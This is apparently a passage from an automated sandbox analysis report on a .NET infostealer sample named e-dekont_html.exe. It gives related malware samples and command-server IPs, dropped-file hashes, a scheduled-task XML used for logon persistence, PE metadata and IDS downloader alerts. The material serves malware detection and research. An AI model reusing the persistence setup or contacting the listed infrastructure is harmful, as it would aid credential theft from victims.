	Company catalog profile.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	Quote GVSE24-00815.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	Payment_transaction.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	nowe zam#U00f3wienie.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	rPO_1079021908.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	owari.arm7.elf	Get hash	malicious	Mirai	Browse	129.146.156.151
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	PROFORMA + PENDENTES.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Benefit Enrollment -wZ5nusm.pdf	Get hash	malicious	Unknown	Browse	188.114.97.3
	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	rPO_1079021908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	Kayla Dennis CV.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	PROFORMA + PENDENTES.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	z30ProofofPaymentAttached.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	149.154.167.220
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	149.154.167.220
	vessel details_pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	MV BUSAN STAR - calling to discharge about 55,000Mt of aggregates.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://trackru.top/us	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\e-dekont_html.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fahKSvwo.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\fahKSvwo.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380134126512796
Encrypted:	false
SSDEEP:	48:+WSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//ZmUyus:+LHxvIIwLgZ2KRHWLOuggs
MD5:	2A51987DAFE4586D09FC4BE0507F6B71
SHA1:	AE3D26F5D8A78CB88E29ADEC340C56A0F6B3D3B7
SHA-256:	2EBC59B6B9D301FBFDD52FA8CF1C811F7814C4F24943D6BC3F5FD7B8529F8D16
SHA-512:	F1D8BFF693D16BEEE9D0C06CEA7CD925CACB33170201A35BC01099BA4225BB26EAE347213F9C29DF3E320CE0DD1D299D5B735D089145EE1E188A8024F62F78C3
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iz120nfz.j4v.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jrnkzrin.mp3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ksvqv0pp.2er.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vpgolwsw.511.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2byhtnc.1s3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4rhnfbd.ktt.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xaevxprt.bw5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zbt02phu.xls.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp7653.tmp

Download File

Process:	C:\Users\user\Desktop\e-dekont_html.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1574
Entropy (8bit):	5.1089451320984685
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNta8Rxvn:cge1wYrFdOFzOzN33ODOiDdKrsuT3v
MD5:	940AF28B4D86EE6583C9513B54BBCE43
SHA1:	92B5A067E5A4FFB66D9BC778E35967BECB327F0F
SHA-256:	63968750CB9EE6D99982934580342E7744C4B573F5B823483EF610217883AEE2
SHA-512:	B5C520EAA53C5382FFCB684F3CFF35C1C655268408BDFE0C8C02D650B333CE7746768E6B3D4F36544B16F5B25040BD76DC78D0F4EB4C698C48CF0BC8D5669BA5
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp8A49.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\fahKSvwo.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1574
Entropy (8bit):	5.1089451320984685
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNta8Rxvn:cge1wYrFdOFzOzN33ODOiDdKrsuT3v
MD5:	940AF28B4D86EE6583C9513B54BBCE43
SHA1:	92B5A067E5A4FFB66D9BC778E35967BECB327F0F
SHA-256:	63968750CB9EE6D99982934580342E7744C4B573F5B823483EF610217883AEE2
SHA-512:	B5C520EAA53C5382FFCB684F3CFF35C1C655268408BDFE0C8C02D650B333CE7746768E6B3D4F36544B16F5B25040BD76DC78D0F4EB4C698C48CF0BC8D5669BA5
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\fahKSvwo.exe

Download File

Process:	C:\Users\user\Desktop\e-dekont_html.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	709120
Entropy (8bit):	7.9449809569809435
Encrypted:	false
SSDEEP:	12288:3kMEo7ji/Ov/qIwJbBcWnusvfmWzoHsDR085/RpKKnKbKBA5A2fXG:3kDo7xSKWnueX1RN5/RDndB7g
MD5:	3C1D34A25A8B8A96896E746F13C346BF
SHA1:	31C17EEBFFBCB57A3A833C99541748E508D82714
SHA-256:	7BD9596F753E58BA917BA418C191AF8FCB9B537E73EE6A86989960099585394F
SHA-512:	3854B5186E2A7BED2FF290C8DDCAB311FD3B431CA3AE8A5BCE2322907731A9C105316FF43E15DC2EBA870AB8948E097C37AFD77F21A5CFD7D148FC0378F4A847
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63% Antivirus: Virustotal, Detection: 67%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?<g..............0.................. ........@.. ....................... ............@.....................................O.......................................T............................................ ............... ..H............text... .... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........}...O......i....................................................0..$..........s......s.....s ......o!...&..+...0..)........s\....s.......o[...s......o".......+.......0..+........s\....r...p.(#......o[...s......o$....+....0..0........s\....rC..p.r...p(%......o[...s......o$....+...0...........s\.......O...%.r...p.%...%.r...p.%...%.r...p.%....%.r!..p.%....%.r;..p.%.....%..rU..p.%.....%..ry..p.%....%..r...p.(&......o[...s.......o$...&r...p('...&......o(...('...&...*.

C:\Users\user\AppData\Roaming\fahKSvwo.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\e-dekont_html.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9449809569809435
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	e-dekont_html.exe
File size:	709'120 bytes
MD5:	3c1d34a25a8b8a96896e746f13c346bf
SHA1:	31c17eebffbcb57a3a833c99541748e508d82714
SHA256:	7bd9596f753e58ba917ba418c191af8fcb9b537e73ee6a86989960099585394f
SHA512:	3854b5186e2a7bed2ff290c8ddcab311fd3b431ca3ae8a5bce2322907731a9c105316ff43e15dc2eba870ab8948e097c37afd77f21a5cfd7d148fc0378f4a847
SSDEEP:	12288:3kMEo7ji/Ov/qIwJbBcWnusvfmWzoHsDR085/RpKKnKbKBA5A2fXG:3kDo7xSKWnueX1RN5/RDndB7g
TLSH:	8AE4125025D44FA6F0BE8BF1D261A00433F57D76B831F64D4EE330EE2AA9F514922A67
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?<g..............0.................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	4f81888c8c89874f

Static PE Info

General

Entrypoint:	0x4ad51a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x673C3FA8 [Tue Nov 19 07:35:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xad4c5	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xae000	0x1794	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xab3c0	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xab520	0xab600	a1e0ddb0cb65a62c6691914364370a29	False	0.957757795404814	data	7.952098121903517	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xae000	0x1794	0x1800	8edeef6c6ad3b86beac5a0e1f89c6841	False	0.3896484375	data	5.71864779722505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb0000	0xc	0x200	61abefaeef45b71b47b992a51c176f33	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xae130	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	0.37406191369606
RT_GROUP_ICON	0xaf1d8	0x14	data	1.1
RT_VERSION	0xaf1ec	0x3bc	data	0.4131799163179916
RT_MANIFEST	0xaf5a8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T07:52:12.696787+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	193.122.130.0	80	TCP
2024-11-20T07:52:13.697027+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49733	193.122.130.0	80	TCP
2024-11-20T07:52:14.228878+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49737	188.114.97.3	443	TCP
2024-11-20T07:52:15.024961+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	193.122.130.0	80	TCP
2024-11-20T07:52:15.513508+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49739	188.114.97.3	443	TCP
2024-11-20T07:52:18.243695+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	193.122.130.0	80	TCP
